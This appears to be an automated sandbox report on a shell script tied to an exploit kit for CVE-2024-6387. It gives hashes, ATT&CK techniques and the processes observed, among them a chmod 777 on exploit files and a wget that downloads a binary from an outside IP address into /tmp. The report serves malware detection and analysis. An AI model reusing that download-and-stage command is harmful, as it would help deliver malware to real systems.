bdbc35721238ef0c38acf962295c36bae59c6472b70bb469439c1c370ce472f6

Analysis

max time kernel
133s
max time network
201s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
23-11-2024 18:22

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General

Target

cve_2024_6387/execute_and_cleanup.sh
Size

926B
MD5

1f452448cea986aedc88ba50d48691f7
SHA1

98cee6d3b4a210be77fa4a458b06b805fa781bd7
SHA256

67564d4a3ad079b6ec430193d5a60ce67df4d13409387fd074fd10d921fda20e
SHA512

e11bb1ee0a50674550e3710c0e9670d2fe15b53f450bbc54d5dcc511999114f5e21aa0ee396c6b2e9e85fd2afe9078ca16b128e563f2b8acb9167d693e63183a

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmod

pid process

759 chmod
Reads runtime system information 1 IoCs
Reads data from /proc virtual filesystem.
discovery

Processes:

mkdir

description ioc process

File opened for reading /proc/filesystems mkdir
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.

Processes:

wget

description ioc process

File opened for modification /tmp/downloads/386 wget

pid	process
759	chmod

description	ioc	process
File opened for reading	/proc/filesystems	mkdir

description	ioc	process
File opened for modification	/tmp/downloads/386	wget

/tmp/cve_2024_6387/execute_and_cleanup.sh
/tmp/cve_2024_6387/execute_and_cleanup.sh
1⤵
PID:752
- /bin/mkdir
  mkdir -p /tmp/downloads
  2⤵
  - Reads runtime system information
  PID:758
- /bin/chmod
  chmod 777 386 aarch64 amd64 arm5 arm6 arm7 c.txt 验证利用脚本.txt execute_and_cleanup.sh exploit exploit.py ip.txt mips mips64 mips64el mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /usr/bin/wget
  wget http://108.174.58.28/386 -O /tmp/downloads/386
  2⤵
  - Writes file to tmp directory
  PID:761

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads